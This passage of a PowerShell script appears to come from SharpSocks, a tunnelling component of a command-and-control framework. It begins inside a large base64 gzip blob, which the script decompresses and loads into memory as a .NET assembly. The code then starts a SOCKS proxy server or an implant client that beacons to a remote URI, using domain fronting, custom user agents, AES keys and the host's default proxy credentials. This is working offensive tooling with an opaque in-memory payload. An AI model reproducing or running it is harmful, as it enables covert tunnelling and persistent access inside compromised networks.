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"
$Assembly = DecompressAsm($PS)
echo "[+] Server Server Loaded"
}
if($Insecure.IsPresent) {
$InsecureSSL=$true
} else {
$InsecureSSL=$false
}
if (!$Key) {
$Key = Create-AesKey
}
$secureStringPwd = $Key | ConvertTo-SecureString -AsPlainText -Force
#If there is no channel set
if (!$Channel) {
$Channel = Get-RandomChamnnel -Length 25
}
# Proxy Config
if ($ProxyURL) {
$Proxy = New-Object System.Net.WebProxy($ProxyURL,$True);
if ($ProxyUser -and $ProxyPassword) {
$creds = new-object System.Net.NetworkCredential
$creds.UserName = $ProxyUser
$creds.Domain = $ProxyDomain
$creds.SecurePassword = ConvertTo-SecureString $ProxyPassword -AsPlainText -Force;
$Proxy.Credentials = $Creds;
} else {
$Proxy.UseDefaultCredentials = $True;
}
} else {
$Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
}
# New Uri
$Uri = [System.Uri]$Uri
# Add URLs
$NewURLs = New-Object "System.Collections.Generic.List[String]"
foreach ($URL in $URLs) {
$NewURLs.Add($URL)
}
if ($Server.IsPresent){
$Script:iLogOutput = New-Object SharpSocksServer.ServerComms.DebugConsoleOutput
$Script:BoolStart = [SharpSocksServer.Source.Integration.PSSocksServer]::CreateSocksController($IPAddress, $uri, $TLSServerCertificate, $Channel, $SocksPort, $key, $Cookie1, $Cookie2, $iLogOutput);
if ($BoolStart) {
echo ""
echo "[+] SharpSocks server started!"
echo ""
echo "-Channel $Channel"
echo "-Key $Key"
echo "Cookies: $Cookie1 $Cookie2"
echo ""
echo ""
echo "[-] Run StopSocks to stop the server!"
echo ""
}
}
if ($Client.IsPresent){
$Script:Comms = New-Object SocksProxy.Classes.Integration.PoshDefaultImplantComms
$Script:Socks = [SocksProxy.Classes.Integration.PoshCreateProxy]::CreateSocksController($Uri, $Channel, $DomainFrontURL, $UserAgent, $secureStringPwd, $NewURLs, $Cookie1, $Cookie2, $Proxy, $Beacon, $Comms, $InsecureSSL);
$Script:BoolStart = $Socks.Start()
if ($BoolStart) {
echo ""
echo "[+] SharpSocks client Started!"
echo ""
echo "URLs:"
foreach ($URL in $URLs) {
echo "$($Uri)$($URL)"
}
echo "Channel: $Channel"
echo "Key being used: $Key"
echo "Beacon: $Beacon"
echo "Cookies: $Cookie1 $Cookie2"
echo "User-Agent: $UserAgent"
echo ""
echo ""
echo "[-] Run StopSocks to stop the client!"
echo ""
}
}
}
}
function StopSocks {
if ($BoolStart) {
$Script:BoolStart = $Socks.Stop()
$Script:BoolStart = $Socks.HARDStop()
echo ""
echo "[-] SharpSocks stopped!"
echo ""
} else {
echo ""
echo "[-] SharpSocks not running!"
echo ""
}
}
# creates a randon AES symetric encryption key
function Create-AesManagedObject
{
param
(
[Object]
$key,
[Object]
$IV
)
$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged'
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV)
{
if ($IV.getType().Name -eq 'String')
{$aesManaged.IV = [System.Convert]::FromBase64String($IV)}
else
{$aesManaged.IV = $IV}
}
if ($key)
{
if ($key.getType().Name -eq 'String')
{$aesManaged.Key = [System.Convert]::FromBase64String($key)}
else
{$aesManaged.Key = $key}
}
$aesManaged
}
# creates a randon AES symetric encryption key
function Create-AesKey()
{
$aesManaged = Create-AesManagedObject
$aesManaged.GenerateKey()
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Get-RandomChamnnel
{
param ([int]$Length)
$set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray()
$result = ''
for ($x = 0; $x -lt $Length; $x++)
{
$result += $set | Get-Random
}
return $result
}
function DecompressAsm()
{
param($asm)
try
{
if ($pscanloaded -ne "TRUE")
{
$script:pscanloaded = "TRUE"
echo $status
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream(45000)
[System.IO.MemoryStream] $gzdll = New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String($asm))
$gzipStream = New-Object System.IO.Compression.GzipStream $gzdll, ([IO.Compression.CompressionMode]::Decompress)
try {
$buffer = New-Object byte[](32000);
while ($true)
{
$read = $gzipStream.Read($buffer, 0, 32000)
if ($read -le 0)
{
break;
}
$output.Write($buffer, 0, $read)
}
}
finally
{
Write-Verbose "Closing streams and newly decompressed file"
$gzipStream.Close();
$output.Close();
$gzdll.Close();
}
return [System.Reflection.Assembly]::Load($output.ToArray())
}
}
catch
{
echo $_.Exception.Message
return $null
}
}